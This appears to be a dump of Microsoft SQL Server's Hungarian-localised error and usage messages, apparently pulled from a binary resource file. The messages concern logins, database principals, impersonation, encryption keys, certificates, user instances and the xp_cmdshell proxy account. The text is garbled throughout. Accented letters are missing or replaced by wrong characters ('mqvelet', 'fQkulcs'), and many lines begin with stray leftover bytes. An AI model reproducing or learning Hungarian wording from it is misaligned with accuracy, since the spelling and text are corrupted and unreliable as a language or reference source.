Az adatbzistag egy vagy tbb eljrs, fggvny vagy esemnyrtests vgrehajtsi krnyezeteknt van belltva, ezrt nem dobhat el.

Hiba trtnt az sp_xp_cmdshell_proxy_account vgrehajtsa sorn. Lehetsges okok: a megadott fik rvnytelen volt, vagy pedig nem lehetett ltrehozni a kvetkezQ hitelestQ adatot:  %1!s! . Hibakd: %2!s!, hiballapot: %3!s!.

Az adatbzistag tulajdonban van egy %1!s! az adatbzisban, ezrt nem dobhat el.

A kiszolgli tag tulajdonban van egy vagy tbb %1!s!(s), ezrt nem dobhat el.

 %1!s!  nem rvnyes rtk a @updateusage paramterhez. Vagy  true , vagy  false  rtket kell megadni.

A szerepkrnek tagjai vannak. Csak akkor dobhat el, ha mr res.

Nem sikerlt egy implicit %1!s! ltrehozs. Ok: Taln eldobtk a kvetkezQt: %2!s!, vagy pedig mr hasznlatban van a neve.

Titkostsi jelszt kell megadni ezen %1!s! titkos kulcsnak titkostshoz.

Nem kell megadni visszafejtsi jelszt, mert ezen %1!s! titkos kulcst fQkulccsal titkostottk.

A(z)  %1!s!  tblaoszlop vagy adattpus nem ltezik, vagy nnek nincs r engedlye.

tA tag nem ltezik vagy nincs megfelelQ jogosultsga.

Nem vgezhetQ el %1!s! mqvelet a kvetkezQn:  %3!s!  %2!s!.

Nem vgezhetQ el %1!s! mqvelet a kvetkezQn, mert az nem ltezik, vagy nnek nincs megfelelQ engedlye:  %3!s!  %2!s!.

A felhasznli pldnyok nem frissthetQk. Ok: %1!s!. Hibakd: 0x%2!s!.

XAz xp_cmdshell proxyfik adatai nem hvhatk le vagy rvnytelenek. EllenQrizze, hogy ltezik-e a(z)  %1!s!  hitelestQ adat, s hogy rvnyes informcit tartalmaz-e.

Az adatbzistag tulajdonban van egy %1!s!, ezrt nem dobhat el.

A kiszolgli tag tulajdonban van egy %1!s!, ezrt nem dobhat el.

A megadott jelsz tl hossz. A jelsz nem lehet hosszabb %1!s! karakternl.

(Nem sikerlt a Setuser mqvelet a kvetkezQ okok valamelyike miatt: nem ltezik a kvetkezQ adatbzistag:  %1!s! , a hozz tartoz kiszolgli tag nem frhet hozz a kiszolglhoz, az ilyen tpus adatbzistag nem szemlyesthetQ meg, vagy nnek nincs megfelelQ engedlye.

hA biztonsgi intzkedsek nem inicializlhatk.

Tllpte a maximlis megszemlyestsi begyazsi szintet (korlt: %1!s!).

Nem adhat ki megszemlyestsi jogkivonat nem elsQdleges megszemlyestsi krnyezetbQl, illetve nem Windows felhasznl szmra.

Nem llthat be a kvetkezQ alkalmazs-szerepkr:  %1!s! , mert vagy nem ltezik, vagy helytelen a jelsz.

Vratlan hiba a megszemlyestsi jogkivonat ltrehozsa kzben.

rvnytelen az idQkorlt rtke. Az idQkorlt rtknek 1 s 7200 msodperc kztt kell lennie.

Nem rvnyes a kvetkezQ bejelentkezsi azonost:  %1!s! , vagy pedig nem adhat ki szmra megszemlyestsi jogkivonat.

Nem tallhat a kvetkezQ objektum:  %1!s! , vagy pedig nnek nincs megfelelQ engedlye.

LGUID-azonost nem hozhat ltre.

,A(z)  %1!s!  nzetet, valamint az oszlopait s az indexeit nem lehet tnevezni, mert ezt a nzetet a rendszer hozta ltre optimalizlsi cllal.

Az SQL Server ezen kiadsban nem hasznlhat a kvetkezQ kiszolgli bellts:  %1!s! .

dEz a bejelentkezsi azonost %1!s! feladat tulajdonosa. Ez a bejelentkezsi azonost csak akkor dobhat el, ha elQtte ezeket a feladatokat trli vagy mshoz rendeli hozz.

A(z)  %1!s!  paramtert nem hasznlhatja tanstvnyhoz vagy aszimmetrikus kulcs bejelentkezshez.

A FallBack tanstvnyt egyfelhasznls mdban a fQadatbzisban kell ltrehozni vagy eldobni.

A(z)  %1!s!  kiszolgli tag kiadott egy vagy tbb engedlyt. A kiszolgli tag eldobsa elQtt vonja vissza az engedlyeket.

\A(z)  %1!s!  bejelentkezsi azonost egy vagy tbb adatbzisnak a tulajdonosa. A bejelentkezsi azonost eldobsa elQtt mdostani kell az adatbzis(ok) tulajdonost.

A(z)  %1!s!  bejelentkezsi azonost egy vagy tbb adatbzisban egy felhasznlra mutat aliasnvknt vagy felhasznlhoz van hozzrendelve. A bejelentkezsi azonost eldobsa elQtt el kell dobni a felhasznlt vagy az aliasnevet.

pAz egyetlen rvnyes @parameter rtk:  WITH_LOG .

Hasznlat: sp_dropmessage <zenet_szma> [,<nyelv> | 'ALL']

50 000-nl alacsonyabb azonostj zenetet nem lehet eldobni.

Az zenet szma (%1!s!) vagy a megadott nyelvi vltozat nem ltezik.

Nem lehet letiltani a vendgfelhasznlhoz val hozzfrst a fQ vagy a tempdb adatbzisban.

Az adatbzistag objektumokkal rendelkezik az adatbzisban, ezrt nem lehet eldobni.

Az adatbzistag adattpusokkal rendelkezik az adatbzisban, ezrt nem lehet eldobni.

A tvoli felhasznln ( %3!s! ) nincs olyan  %1!s!  tvoli felhasznl, aki a kvetkezQ helyi felhasznlhoz van hozzrendelve:  %2!s! .

A kiszolgli tag egy esemnyindt vagy esemnyrtests vgrehajtsi krnyezeteknt van belltva, ezrt nem lehet eldobni.

Nem lehet ltrehozni olyan indexet, amely nem tartalmazza az sszes biztonsgi oszlopot.

pEgy tblhoz nem tartozhat tbb biztonsgi oszlop.

Mg vannak tvoli bejelentkezsek vagy csatolt bejelentkezsek a kvetkezQ kiszolglhoz:  %1!s! .

Egy tbla biztonsgi oszlopt nem lehet mdostani vagy eldobni.

A Microsoft Windows jelen verzija nem tmogatja a MUST_CHANGE belltst.

Az aktulis biztonsgi krnyezet nem alakthat vissza. A  Revert  utasts sikertelen.

hNincs szveg a kvetkezQ objektumhoz:  %1!s! .

A megadott nv (%1!s!) nem felhasznl, szerepkr vagy aliasneves bejelentkezs.

DAz aktulis biztonsgi krnyezet nem alakthat vissza. Krjk, kapcsoljon t az eredeti adatbzisra, ahol a(z)  %1!s!  hvsa trtnt, s prblja meg jra.

PNincs definilva tvoli kiszolgl.

Nincs tvoli bejelentkezsek a kvetkezQ tvoli kiszolglra:  %1!s! .

XNincs definilva tvoli bejelentkezs.

|Nincsenek tvoli bejelentkezsek a kvetkezQhz:  %1!s! .

Nincsenek tvoli bejelentkezsek a(z)  %2!s!  tvoli kiszolgln a kvetkezQhz:  %1!s! .

DNincs definilva kiszolgl.

prvnytelen tvoli kiszolgli bellts:  %1!s! .

A tvoli bejelentkezsek hozzrendelsben a megbzhat bellts mr nem tmogatott.

(A tanstvny, az aszimmetrikus kulcs vagy a titkos kulcs fjlja nem rvnyes vagy nem ltezik; vagy pedig nnek nincs r megfelelQ engedlye.

LHiba trtnt a titkosts kzben.

rvnytelen tanstvnytulajdonos. A tanstvnytulajdonosnak 1 s %1!s! kztti szm karakterbQl kell llnia.

Figyelmeztets: A ltrehozott tanstvnynak rvnytelen az rvnyessgi idQtartama, mert a lejrati dtuma megelQzi a kezdQdtumt.

lFigyelmeztets: A ltrehozott tanstvny lejrt.

Figyelmeztets: A ltrehozott tanstvny mg nem rvnyes; a kezdQdtuma a jvQben van.

A @delfile paramter szmra nem rvnyes a kvetkezQ rtk:  %1!s! .

A tulajdonsg nem frissthetQ s nem trlhetQ. A(z)  %1!s!  tulajdonsg nem ltezik a kvetkezQhz:  %2!s! .

PEz az objektum ( %1!s! ) nem tbla.

lIndexelt nzet tulajdonost nem lehet mdostani.

Nem egyedi a kvetkezQ tvoli bejelentkezsi bellts:  %1!s! .

tHiba: A bemeneti paramter ( %1!s! ) nem lehet null.

Hiba: A @newname paramter rtke rvnytelen karaktereket tartalmaz, vagy megsrt egy alapvetQ korltozst (%1!s!).

Nem tallhat  %1!s!  nevq elem az aktulis adatbzisban ( %2!s! ), feltve, hogy az @itemtype bevitele  %3!s!  formban trtnt.

tXML adattpusbl nem hozhatk ltre aliasnvtpusok.

tNem lehet tnevezni a kvetkezQ adatbzist:  %1!s! .

<rvnytelen az sp_db_vardecimal_storage_format trolt eljrs  %1!s!  paramtere szmra megadott argumentum. Az rvnyes argumentumok:  ON  vagy  OFF .

Hiba trtnt a felhasznli pldny indtsakor. Hibakd: %1!s!.

$A(z)  %2!s!  trolt eljrs  %1!s!  paramterhez megadott argumentum rvnytelen. Az rvnyes argumentumok:  ON ,  OFF ,  TRUE  s  FALSE .

Mr ltezik  %1!s!  nevq tanstvny, vagy pedig ez a tanstvny mr bekerlt az adatbzisba.

A tulajdonsg nem vehetQ fel. A(z)  %1!s!  tulajdonsg mr ltezik a kvetkezQhz:  %2!s! .

Az ilyen tpus objektumok szmra nincs kiosztva terlet.

lNincs alaprtke a kvetkezQ oszlopnak:  %1!s! .

Nincs alaprtket a kvetkezQ felhasznli adattpusnak:  %1!s! .

hNincs szablya a kvetkezQ oszlopnak:  %1!s! .

Nincs szablya a kvetkezQ felhasznli adattpusnak:  %1!s! .

8Nem lehet rni a kvetkezQ fjlba:  %1!s! . EllenQrizze, hogy van-e rsi engedlye, rvnyes-e a fjl elrsi tja, s hogy nem ltezik-e mr a fjl.

Hasznlat: sp_dboption [adatbzisnv [,kapcsolnv [,'true' | 'false']]]

tNem egyedi a kvetkezQ adatbzis-bellts:  %1!s! .

A fQadatbzisnl nem mdosthat a kvetkezQ bellts:  %1!s! .

Csak a sysadmin (rendszergazda) szerepkr tagjai, illetve az adatbzis tulajdonosa adhat meg adatbzis-belltsokat.

Nem lehet kirni a(z)  %1!s!  tanstvny titkos kulcst, mert a titkos kulcs nem tallhat.

xA felhasznlnak nincs engedlye e mqvelet elvgzsre.

Vagy nem egyrtelmq a @objname paramter, vagy helytelen a krt @objtype (%1!s!).

xHiba: Az explicit @objtype ( %1!s! ) nem ismerhetQ fel.

Az objektum minQstQjben az adatbzisnv rsznek az aktulis adatbzisra kell mutatnia.

rvnytelen  %1!s!  van megadva. A kvetkezQnek kell lennie: %2!s!.

Meg kell adni az elsQdleges vagy a klsQ kulcs tblanevt.

Szintaktikai hiba a kvetkezQ SQL-azonost elemzsekor:  %1!s! .

,Az adatbzisban a tulajdonoson s a vendgen kvl ms felhasznl is van. Az adatbzis eltvoltsa elQtt el kell dobni ezeket a felhasznlkat.

A @autofix szmra nem rvnyes rtk a kvetkezQ:  %1!s! . Az egyetlen rvnyes rtk:  auto .

|Hasznlat: sp_certify_removable <adatbzisnv> [,'auto']

Az ppen tansts alatt ll adatbzis nem lehet kzben hasznlatban.

Az adatbzis csak akkor tvolthat el, ha a sysadmin (rendszergazda) szerepkr egyik tagja a tulajdonosa.

A DEFAULT_SCHEMA zradk nem hasznlhat tanstvnyokhoz vagy aszimmetrikus kulcsokhoz rendelt tagokkal.

rvnytelen a kvetkezQ biztonsgi ler karakterlnc formtuma:  %1!s! .

Hasznlat: sp_create_removable <dbname>,<syslogical>,<sysphysical>,<syssize>,<loglogical>,<logphysical>,<logsize>,<datalogical1>,<dataphysical1>,<datasize1> [,<datalogical2>,<dataphysical2>,<datasize2>...<datalogical16>,<dataphysical16>,<datasize16>]

A(z)  %1!s!  biztonsgi ler karakterlncban lvQ egyik biztonsgi azonost nem tallhat egy fikkeressi mqveletben.

dNem hozhat ltre az adatbzis  %1!s!  rsze.

Vratlan hiba trtnt a kvetkezQ biztonsgi ler karakterlnc feldolgozsakor:  %1!s! .

d %1!s!  adatbzis nem tehetQ eltvolthatv.

`Mr ltezik  %1!s!  nevq biztonsgi ler.

xNem jtt ltre a kvetkezQ logikai adateszkz:  %1!s! .

rvnytelen a @with_log paramter rtke. Az rvnyes rtkek:  true  vagy  false .

A rendszer megtagadta a tvoli kiszolglhoz val hozzfrst, mert az aktulis biztonsgi krnyezet nem megbzhat.

Rendszeradatbzisokhoz nem lehet megadni fQkulcsjelszavakat.

|A @parameter_value rvnyes rtkei:  true  vagy  false .

A(z)  %1!s!  bejelentkezsi azonost mr hozz van rendelve  %2!s!  felhasznlhoz a kvetkezQ adatbzisban:  %3!s! .

Az zenet  %1!s!  vltozatnak felvtele elQtt fel kell venni a us_english vltozatot.

Az zenet sszes honostott vltozatt el kell dobni a us_english vltozat eldobsa elQtt.

tTl sok karaktert tartalmaz a kvetkezQ nv:  %1!s! .

Az adatbzistag engedlyeket adott meg vagy tagadott meg az adatbzisban lvQ objektumok szmra, ezrt nem lehet eldobni.

Logikai eszkz nevnek nem adhat a kvetkezQ specilis sz:  %1!s! .

Az eljrs lell. Nem ismerhetQ fel a @action  %1!s! . Prblkozzon a kvetkezQkkel:  REPORT ,  UPDATE_ONE  vagy  AUTO_FIX .

Az eljrs lell. Ebben az eljrsban a bejelentkezsi nv paramter szmra tiltott a kvetkezQ rtk:  %1!s! .

Az eljrs lell. Ennek futtatsakor nem lehet nyitva tranzakci.

Az eljrs lell. Hinyzik vagy rvnytelen a(z) %1!s! nv:  %2!s! .

`ltalnos kriptogrfiai (titkostsi) hiba.

A tanstvny, az aszimmetrikus kulcs vagy a titkos kulcs adata rvnytelen.

XA nyilvnos kulcs alrsa rvnytelen.

$A General Permission Type (ltalnos engedlytpus) (%1!s!) paramterrtke nem tartalmaz felismert betqt. Az rvnyes betqk halmaza: %2!s!.

A(z)  %1!s!  rendezs csak Unicode adattpusok esetn tmogatott, s nem llthat be sem adatbzisszinten, sem kiszolgli szinten.

A Database_Name nem hasznlhat ezen eljrs paramternl az owner.object minQstsre.

A  user options  konfigurcis rtket (%1!s!) a program visszautastotta, mert inkompatibilis belltsokat adott volna meg.

Ezen zenet  %1!s!  vltozata slyossgi szintjnek meg kell egyeznie az us_english vltozat slyossgi szintjvel (%2!s!).

A @TriggerType paramter rtke a kvetkezQk egyike lehet:  insert ,  update  vagy  delete .

Repliklt vagy elosztott adatbzisok kompatibilitsi szintje nem mdosthat.

Nem sikerlt mdostani a merge publish belltst, mert a kiszolgl nincs belltva repliklsra.

A model vagy a tempdb adatbzis megbzhat llapota nem mdosthat.

Indulskor nem sikerlt konfigurlni a felhasznli pldnyt. Hiba trtnt a kiszolgl metaadatainak frisstsekor.

HNem ltezik  %1!s!  nevq fjl.

A(z)  %1!s!  nevq fjl elsQdleges fjl, ezrt nem tvolthat el.

Hiba: DBCC DBREPAIR REMAP sikertelen a kvetkezQ adatbzis esetn:  %1!s!  ( %2!s!  eszkz).

(Hiba trtnt a rgi fQkulccsal titkostott  %2!s!  %1!s! visszafejtsekor. A FORCE bellts hasznlatval ez a hiba figyelmen kvl hagyhat s a mqvelet folytathat, de nem lehet majd hozzfrni azokhoz az adatokhoz, amelyeket nem lehet visszafejteni a rgi fQkulccsal.

Problma trtnt  %1!s!  eltvoltsa kzben a kvetkezQ helyrQl: sys.master_files.

|A kijellt index nem ltezik a kvetkezQ tbln:  %1!s! .

A(z) %1!s! bellts nem mdosthat a kvetkezQ adatbzisnl:  %2!s! .

pAz aktulis adatbzisban nincs  %2!s!  nevq %1!s!.

PAz aktulis fQkulcs nem fejthetQ vissza. Ha ez egy adatbzisfQkulcs, meg kell prblni megnyitni a munkamenetben mg ezen mqvelet elvgzse elQtt. A FORCE belltssal figyelmen kvl lehet hagyni ezt a hibt s folytatni lehet a mqveletet, de a rgi fQkulccsal titkostott adatok elvesznek.

Nincsenek egyezQ sorok, amelyekrQl jelentst lehetne kszteni.

 %1!s!  felhasznl nem hajthatja vgre az auto_fix mqveletet ismtlQdQ biztonsgi azonostk miatt.

Hiba: A minQstett @oldname nem az aktulis adatbzisra, hanem egy msik adatbzisra (%1!s!) mutat.

Hiba: Az j nv ( %1!s! ) mr hasznlatban van %2!s! nvknt, gy ismtlQdst okozna, ami nem megengedett.

A(z)  %1!s!  objektumot nem lehet tnevezni, mert knyszertett fggQsgeknek a tagja.

t%1!s! esetben a tulajdonosmdosts nem tmogatott.

%1!s! tpus entitst nem birtokolhat szerepkr, csoport, illetve tanstvnyhoz vagy aszimmetrikus kulcshoz rendelt tag.

SzlQobjektum tulajdonban lvQ objektumnak nem mdosthat a tulajdonosa. Helyette a szlQobjektum tulajdonost kell mdostani.

SzlQobjektum tulajdonban lvQ objektumot nem lehet tvinni.

dSmhoz kttt objektumot nem lehet tvinni.

MS Shipped (MS ltal szlltott) objektumot nem lehet tvinni.

Nem sikerlt csatolni egy automatikusan elnevezett adatbzist a(z) %1!s! fjlhoz. Vagy mr ltezik adatbzis ezzel a nvvel, vagy a megadott fjlt nem lehet megnyitni, vagy pedig a fjl UNC-megosztson tallhat.

A(z) %1!s! nem dobhat el, a hasznlatval van alrva vagy titkostva egy vagy tbb entits.

(%1!s! tpus entitst nem birtokolhat szerepkr, csoport, alkalmazs-szerepkr, illetve tanstvnyhoz vagy aszimmetrikus kulcshoz rendelt tag.

Az aktulis alkalmazs-szerepkrt eldobtk. Az aktulis biztonsgi krnyezet nem tartalmaz rvnyes adatbzis-felhasznli krnyezetet.

Az aktulis biztonsgi krnyezetet  %1!s!  ltal lett belltva. Nem lehet visszaalaktani a kvetkezQ utastssal:  %2!s! .

A(z)  %1!s!  funkcionlis egysg nem adhat hozz a kvetkezQ sszetevQhz:  %2!s! . Ezt az egysget mr regisztrltk az sszetevQhz.

Hiba trtnt az xpstar dll betltsre tett ksrlet kzben, aminek az volt a clja, hogy beolvassa az gynk-proxyfikot az LSA-bl.

Hiba trtnt az SQLAgent proxyfik hitelestQ adatainak az LSA-bl trtnQ beolvassa kzben.

Hiba trtnt a kvetkezQ hitelestQ adat ltrehozsa kzben:  %1!s! .

8Nem sikerlt ltrehozni az SQL Server felhasznli pldnyt. Csak integrlt kapcsolat hozhat ltre felhasznli pldnyt. A kapcsolat bezrdik.%1!s!

DNem sikerlt ltrehozni az SQL Server felhasznli pldnyt. Csak a Builtin\Users tagjai hozhatnak ltre felhasznli pldnyt. A kapcsolat bezrdik.%1!s!

Nem sikerlt ltrehozni az SQL Server felhasznli pldnyt, mert kevs a memria. A kapcsolat bezrdik.%1!s!

PNem sikerlt ltrehozni az SQL Server felhasznli pldnyt, mert nem sikerlt egyedi nevet ltrehozni a felhasznli pldny szmra. A kapcsolat bezrdik.%1!s!

$Nem sikerlt ltrehozni az SQL Server felhasznli pldnyt, mert sikertelen volt a belltskulcsok beolvassa. A kapcsolat bezrdik.%1!s!

 Nem sikerlt ltrehozni az SQL Server felhasznli pldnyt, mert sikertelen volt az gyfl megszemlyestse. A kapcsolat bezrdik.%1!s!

 Nem sikerlt ltrehozni az SQL Server felhasznli pldnyt, mert sikertelen volt az adatbzisfjlok msolsa. A kapcsolat bezrdik.%1!s!

HNem sikerlt ltrehozni az SQL Server felhasznli pldnyt, mert sikertelen volt a felhasznli pldny esemnynek ltrehozsa. A kapcsolat bezrdik.%1!s!

HNem sikerlt ltrehozni az SQL Server felhasznli pldnyt, mert sikertelen volt a felhasznli pldny folyamatnak elindtsa. A kapcsolat bezrdik.%1!s!

PNem sikerlt ltrehozni az SQL Server felhasznli pldnyt, mert sikertelen volt a felhasznli pldny folyamatadatainak beolvassa. A kapcsolat bezrdik.%1!s!

`Nem sikerlt ltrehozni az SQL Server felhasznli pldnyt, mert nem sikerlt eltrolni a felhasznli pldny adatait a rendszerkatalgusba. A kapcsolat bezrdik.%1!s!

@Nem sikerlt ltrehozni az SQL Server felhasznli pldnyt, mert sikertelen volt a felhasznli pldnyhoz val kapcsolds. A kapcsolat bezrdik.%1!s!

Nem sikerlt ltrehozni az SQL Server felhasznli pldnyt. Az SQL Server programnak csak az Express verzija ad lehetQsget felhasznli pldny ltrehozsra. A kapcsolat bezrdik.%1!s!

$Indulskor nem sikerlt konfigurlni a felhasznli pldnyt. Nem sikerlt hozzadni a felhasznlt a sysadmin (rendszergazda) szerepkrhz.

(Indulskor nem sikerlt konfigurlni a felhasznli pldnyt. Sikertelen volt a rendszeradatbzis bejegyzseinek konfigurlsa a MASTER DB-ben.

@Indulskor nem sikerlt konfigurlni a felhasznli pldnyt. Sikertelen volt a rendszeradatbzis elrsi tjainak konfigurlsa a MASTER DB adatbzisban.

0Nem sikerlt ltrehozni az SQL Server felhasznli pldnyt, mert sikertelen volt a felhasznli pldny folyamatn a biztonsgi ler frisstse.

4Nem sikerlt ltrehozni az SQL Server felhasznli pldnyt, mert sikertelen volt a felhasznl helyi alkalmazsadataihoz tartoz elrsi utak beolvassa. Krjk, ellenQrizze, hogy a felhasznlnak van-e helyi felhasznli profilja a szmtgpen. A kapcsolat bezrdik.%1!s!

Az SQL Server programban le van tiltva a felhasznli pldnyok ltrehozsa. Felhasznli pldny ltrehozshoz hasznlja a kvetkezQ eljrst: sp_configure 'user instances enabled'.%1!s!

Indulskor nem sikerlt konfigurlni a felhasznli pldnyt. Hiba trtnt az erQforrskezelQ-azonost frisstsekor.

Nincs adatbzistag definilva a kvetkezQ biztonsgi azonosthoz:  %1!s! .

A munkamenetben egy msik kteg ppen mdostja a biztonsgi krnyezetet, ezrt j kteg nem indulhat el.

Ha a minQstett objektumnv meghatroz egy adatbzist, akkor annak az aktulis adatbzisnak kell lennie.

Nincs a bemeneti nvnek ( %1!s! ) megfelelQ felhasznli tbla az aktulis adatbzisban, vagy pedig nincs engedlye a tbla elrsre.

Az sp_indexoption nem tmogatott XML- vagy trbeli indexek esetn. Helyette az ALTER INDEX utastst kell hasznlni.

Az aktulis adatbzisban nincs a bemeneti nvvel ( %1!s! ) egyezQ felhasznli tbla vagy indexelt nzet.

LAz sp_indexoption nem tmogatott XML-index esetn s a tblnak van XML-indexe. Helyette hasznlja az ALTER INDEX utastst az sszes (ALL) index belltshoz.

Az SQL Server ezen kiadsa nem tmogatja a megadott belltst ( %1!s! ), s nem mdosthat az sp_configure ltal.

Hiba trtnt a rgi fQkulccsal titkostott  %1!s!  csatolt bejelentkezsi azonost jelszavnak visszafejtsekor. A FORCE belltssal figyelmen kvl lehet hagyni ezt a hibt s folytatni lehet a mqveletet, de a rgi fQkulccsal titkostott adatok elvesznek.

Az opercis rendszer nem tmogatja a kvetkezQ gyqjtemnyt:  %1!s! 

Nem tallhat a minQstett rgi nv a kvetkezQ tteltpushoz:  %1!s! .

Mr van  %1!s!  nevq aszimmetrikus kulcs, vagy pedig ez az aszimmetrikus kulcs mr fel lett vve az adatbzisba.

Nem vdi jelsz a kvetkezQt: %1!s!. Ehhez a mqvelethez nem hasznlhat visszafejtsi jelsz.

Csak a dbo tulajdonban lvQ fQadatbzisban tallhat objektumoknak mdosthat az indtsi belltsa.

Nem sikerlt mdostani az indtsi belltst, mert ez a bellts a paramter nlkli objektumokra van korltozva.

Nem tallhat a kvetkezQ Windows NT felhasznl vagy csoport:  %1!s! . EllenQrizze a nevet.

l %1!s! : ez nem rgztett kiszolgli szerepkr.

A(z)  %1!s!  kiszolgl tag vagy nem ltezik, vagy nem rheti el a kiszolglt, vagy pedig nnek nincs r engedlye.

Nem sikerlt informcit gyqjteni a kvetkezQ Windows NT csoportrl/felhasznlrl:  %1!s! , hibakd: %2!s!.

pNem hasznlhat a kvetkezQ specilis tag:  %1!s! .

xNem lehetsges a vgrehajts kiszolgli tagknt, mert a(z)  %1!s!  tag vagy nem ltezik, vagy az ilyen tpus tagot nem lehet megszemlyesteni, vagy pedig nnek nincs r engedlye.

 %1!s! : ez nem rvnyes Windows NT nv. Adja meg a teljes nevet: <tartomny\felhasznlnv>.

 %1!s!  nem hvhat ebben a ktegben, mert egy prhuzamos kteg mr meghvta.

@ %1!s! : ez nem szerepkr.

Ebben az adatbzisban nem ltezik a kvetkezQ felhasznl vagy szerepkr:  %1!s! .

Ebben az adatbzisban nem ltezik a kvetkezQ adatbzistag vagy sma:  %1!s! .

h %1!s! : ez nem egy ismert rgztett szerepkr.

\Egy szerepkr nem tehetQ a sajt tagjv.

Nem lehet belltani a kompatibilitsi szintet, mert az adatbzisnak van egy indexelt nzete vagy egy indexelt szmtott oszlopa. Ezek az indexek az SQL Serverrel kompatibilis adatbzist ignyelnek.

Hasznlat: sp_dbcmptlevel [adatbzisnv [, kompatibilitsi_szint]]

Csak a sysadmin (rendszergazda) szerepkr tagjai vagy az adatbzis tulajdonosa llthatja be az adatbzis kompatibilitsi szintjt.

A megadott paramter-biztonsgiazonostnak binrisnak kell lennie (16).

Ebben az adatbzisban nem ltezik a kvetkezQ csoport:  %1!s! .

Az adatbzistag tulajdonban van egy adatbzis-szerepkr, ezrt nem dobhat el.

Alkalmazs-szerepkrk csak az ad hoc (alkalmi) szinten aktivlhatk.

Nincs megadva kiszolgli tag a kvetkezQ biztonsgi azonosthoz:  %1!s! .

Ehhez a tulajdonsghalmazhoz meg kell adni egy szolgltatnevet.

Meg kell adni egy szolgltatnevet a kvetkezQ ismeretlen termkhez:  %1!s! .

Nem adhat meg szolgltatt vagy brmilyen tulajdonsgot a kvetkezQ termkhez:  %1!s! .

`rvnytelen a kvetkezQ termknv:  %1!s! .

XMeg kell adnia a @rolename paramtert.

A(z)  %1!s!  trolt eljrs csak az ad hoc (alkalmi) szinten hajthat vgre.

A megadott paramter-biztonsgiazonost hasznlatban van.

Nem sikerlt eldobni a(z)  %1!s!  bejelentkezsi azonostt, mert a felhasznl jelenleg be van jelentkezve.

DA szmtgpkulcs ltali titkosts nem adhat hozz a szolgltats fQkulcshoz, mert a szolgltats fQkulcst nem lehet visszafejteni, vagy nem is ltezik.

Nem sikerlt eldobni egy titkosts a szolgltats fQkulcsbl. Nem ltezik szmtgpkulcs ltali titkosts.

Nem sikerlt hozzadni egy titkostst a szolgltats fQkulcshoz. Mr ltezik szmtgpkulcs ltali titkosts.

tNem tmogatott a titkos kulcs formtuma vagy hossza.

Trvnytelen a titkos kulcs jelszava.

LHiba trtnt visszafejts kzben.

hHiba trtnt a kvetkezQ ltrehozsakor: %1!s!.

rvnytelen titkos kulcs. A titkos kulcs nem egyezik a(z) %1!s! nyilvnos kulcsval.

Indexelt nzettel rendelkezQ tbla tulajdonosa nem mdosthat.

DNem mdosthat az objektumnak ( %1!s! ) vagy valamelyik gyermekobjektumnak a tulajdonosa, mert az j tulajdonosnak ( %2!s! ) mr van ilyen nevq objektuma.

DHiba trtnt alrs kzben.

gy tqnik, hogy srlt a mqvelet ltal ignyelt egyik kulcs.

Hiba trtnt a mqvelet ltal ignyelt egyik kulcs ltrehozsakor.

A jelszt nem lehet eldobni, mert egy msik adatbzis mg hasznlhatja.

Nem lehet engedlyezni olyan bejelentkezsi azonostt, amelynek res a jelszava.

pNem lehetsges a vgrehajts adatbzistagknt, mert a(z)  %1!s!  tag vagy nem ltezik, vagy az ilyen tpus tagot nem lehet megszemlyesteni, vagy pedig nnek nincs r engedlye.

Nem lehetsges a vgrehajts Windows jogkivonatknt. A jogkivonat nem rvnyes, vagy pedig nnek nincs r engedlye.

Nem lehetsges a vgrehajts jegyknt. A jegy nem rvnyes, vagy pedig nnek nincs r engedlye.

HMr ltezik  %2!s!  nevq %1!s!.

\Nem rvnyesek a biztonsgi ler adati.

rvnytelen a biztonsgi ler, mert nem tartalmaz adatokat a tulajdonosrl vagy az elsQdleges csoportjrl.

rvnytelen adattpus van megadva a kvetkezQ utastsban:  %1!s! .

Sikertelen a cookie-ltrehozs a kvetkezQ utastsban:  %1!s! .

Nem lehet hitelestQ adatot belltani a kvetkezQ taghoz:  %1!s! .

A(z)  %1!s!  bejelentkezsi azonost nem frhet hozz a kiszolglhoz.

A(z)  %1!s!  bejelentkezsi azonost nem frhet hozz az adatbzishoz.

A(z)  %1!s!  felhasznl nem dobhat el, hanem csak letilthat. A felhasznl mr le van tiltva az aktulis adatbzisban.

Az identits-karakterlnc tl hossz. Az identits-karakterlnc nem lehet hosszabb%1!s! karakternl.

Nem lehet eldobni a(z)  %1!s!  hitelestQ adatot, mert egy kiszolgli tag hasznlja.

A(z)  %1!s!  kiszolgln nem llthatja be a hlzatnevet, mert nem csatolt SQL Server.

Az adatbzisban mr van fQkulcs. Dobja el a fQkulcsot ezen utasts vgrehajtsa elQtt.

8Nem sikerlt hozzadni egy titkostst a szimmetrikus kulcshoz. Mr ltezik egy titkosts, amelynek ezzel megegyezik a kvetkezQ adata:  %2!s!  %1!s!.

%1!s! nem dobhat el, mert a(z)  %3!s!  %2!s! vele van titkostva.

Ezen mqvelet vgrehajtsa elQtt hozzon ltre egy fQkulcsot az adatbzisban vagy nyissa meg a fQkulcsot a munkamenetben.

Hiba trtnt a rendszertanstvnyok fQ s erQforrs-adatbzis kztti szinkronizlsakor.

Nem mdosthat a(z)  %1!s!  szerelvny, mert a(z)  %2!s!  fggQ szerelvny nem az j tulajdonos birtokban van.

Az aktulis biztonsgi krnyezet nem alakthat vissza, mert a cookie rvnytelen.

Az  Execute As  utastssal csak a  No Revert  vagy a  Cookie  bellts hasznlhat az ad hoc (alkalmi) szinten.

Az aktulis biztonsgi krnyezet nem alakthat vissza ezzel az utastssal. A  Revert  utastshoz attl fggQen szksges cookie, hogy a krnyezetet minknt lltottk be az  Execute As  utastssal.

Nem lehet megszntetni az alkalmazs-szerepkr belltst, mert nem volt megadva bellts, vagy pedig a cookie rvnytelen.

xHiba trtnt a rgi fQkulccsal titkostott  %1!s!  csatolt bejelentkezsi azonost jelszavnak visszafejtsekor. A hiba figyelmen kvl maradt, mert rvnyben volt a FORCE bellts.

|Mr meg van adva jelsz a kvetkezQ adatbzishoz:  %1!s! 

A jelszt nem lehet eldobni, mert nincs megadva a kvetkezQ adatbzishoz:  %1!s! 

rvnytelen paramter vagy bellts szerepel a kvetkezQ eljrsnl:  %1!s! .

@A teljes szveges keress nem engedlyezett az aktulis adatbzis esetn. A teljes szveges keress engedlyezshez hasznlja az sp_fulltext_database eljrst. Egy adatbzisban a teljes szveges keresst engedlyezQ, illetve letilt funkci elavult. Krjk, mdostsa alkalmazst.

DBCC DBCONTROL hiba. Az adatbzist nem tettk csak olvashatv.

DBCC DBCONTROL hiba. Az adatbzist nem tettk egyfelhasznlss.

A(z)  %1!s!  nem hajthat vgre, mert az adatbzis csak olvashat hozzfrsi mdban van.

